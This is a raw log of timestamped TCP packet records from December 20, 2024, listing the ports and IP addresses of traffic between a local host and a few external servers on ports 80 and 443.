Dec 20, 2024 17:43:48.487755060 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.488343000 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.488500118 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.488548040 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.488591909 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.488604069 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.488635063 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.488670111 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.489329100 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.489449978 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.489497900 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.489674091 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.489721060 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.489775896 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.490150928 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.490200043 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.490231037 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.490259886 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.490282059 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.490663052 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.490674973 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.490711927 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.491123915 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.491187096 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.491235971 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.491660118 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.491714001 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.491884947 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.492023945 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.492069006 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.492075920 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.492103100 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.492119074 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.492670059 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.492727995 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.492763996 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.492901087 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.492954016 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.492955923 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.492970943 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.493015051 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.493715048 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.493763924 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.493864059 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.493880987 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.493925095 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.493930101 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.494045973 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.494091034 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.494725943 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.494776964 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.494801998 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.494817019 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.494844913 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.494867086 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.495008945 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.495672941 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.495731115 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.495733023 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.495800018 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.495811939 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.495841980 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.495873928 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.495976925 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.496558905 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.496613026 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.496613979 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.496819973 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.496840000 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.496886969 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.496999979 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.497025967 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.497049093 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.497456074 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.497580051 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.497627020 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.497801065 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.497849941 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.498373985 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.498452902 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.498501062 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.499330997 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.499387026 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.499419928 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.499464035 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.500325918 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.500389099 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.500411987 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.500456095 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.501152992 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.501220942 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.501267910 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.502019882 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.502068043 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.502171040 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.502216101 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.502948046 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.502995968 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.503074884 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.503118038 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.503855944 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.503905058 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.503976107 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.504015923 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.504772902 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.504873037 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.504928112 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.505753994 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.505808115 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.505845070 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.505887985 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.506669044 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.506726980 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.506819963 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.506865025 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.507531881 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.507580042 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.507611036 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.507649899 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.508584976 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.508637905 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.508708000 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.508747101 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.509339094 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.509428024 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.509478092 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.510240078 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.510293007 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.510307074 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.510349035 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.511138916 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.511183023 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.511261940 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.511302948 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.512049913 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.512095928 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.512165070 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.512204885 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.513045073 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.513155937 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.513281107 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.513875008 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.513926983 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.514188051 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.514235973 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.514461994 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:48.514533043 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:48.514776945 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.514833927 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.514894009 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.515695095 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.515749931 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.516011000 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.516060114 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.516604900 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.516654015 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.516697884 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.516745090 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.517554045 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.517662048 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.517721891 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.518559933 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.518618107 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.518650055 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.518693924 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.519407988 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.519458055 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.519486904 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.519526958 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.520287991 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.520339012 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.520427942 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.520469904 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.521229982 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.521373034 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.521424055 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.522073030 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.522124052 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.522300005 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.522341967 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.523020983 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.523067951 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.523149967 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.523190975 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.523917913 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.523963928 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.524019957 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.524060011 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.524879932 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.525015116 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.525065899 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.525734901 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.525784016 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.525808096 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.525855064 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.526671886 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.526717901 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.526751041 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.526788950 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.527515888 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.527559042 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.545358896 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:48.545383930 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:48.545767069 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:48.546968937 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:48.546993017 CET	49780	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:48.547071934 CET	443	49780	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:48.697223902 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.697449923 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.812422991 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.812439919 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.812508106 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.812508106 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.816956043 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.816972971 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.816983938 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.817070007 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.817070007 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.881084919 CET	49783	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:48.881133080 CET	443	49783	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:48.881205082 CET	49783	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:48.881763935 CET	49783	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:48.881771088 CET	443	49783	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:48.932414055 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.932434082 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.932477951 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.932540894 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.932591915 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.932636023 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.932744026 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.932795048 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.932889938 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.932903051 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.932914019 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.932924986 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.932935953 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.932965040 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.932976007 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.932986021 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.933021069 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.933891058 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.933902979 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.933914900 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.933926105 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.933933020 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.933938980 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.933949947 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.933974981 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.934014082 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.934674025 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.934684992 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.934703112 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.934715033 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.934721947 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.934734106 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.934745073 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.934755087 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.934782982 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.935563087 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.935575008 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.935611010 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.935616016 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.935626030 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.935635090 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.935643911 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.935655117 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.935664892 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.935678959 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.935698986 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.935719013 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.936559916 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.936572075 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.936582088 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.936594009 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.936605930 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.936615944 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.936626911 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.936682940 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.937382936 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.937432051 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.937550068 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.937570095 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.937582016 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.937607050 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.937618017 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.937625885 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.937635899 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.937649012 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.937668085 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.937700987 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.938546896 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.938558102 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.938569069 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.938581944 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.938591003 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.938602924 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.938615084 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.938621998 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.938632965 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.938651085 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.938672066 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.939423084 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.939434052 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.939445019 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.939457893 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.939471960 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.939481974 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.939491034 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.939507008 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.939522982 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.939536095 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.939553976 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.939578056 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.940325022 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.940341949 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.940367937 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.940387964 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.940397024 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.940413952 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.940426111 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.940433025 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.940443039 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.940466881 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.940495014 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.941247940 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.941258907 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.941276073 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.941291094 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.941328049 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.941652060 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.941663027 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.941673994 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.941685915 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.941693068 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.941704035 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.941711903 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.941728115 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.941749096 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.941771030 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.942517996 CET	80	49769	31.41.244.11	192.168.2.6
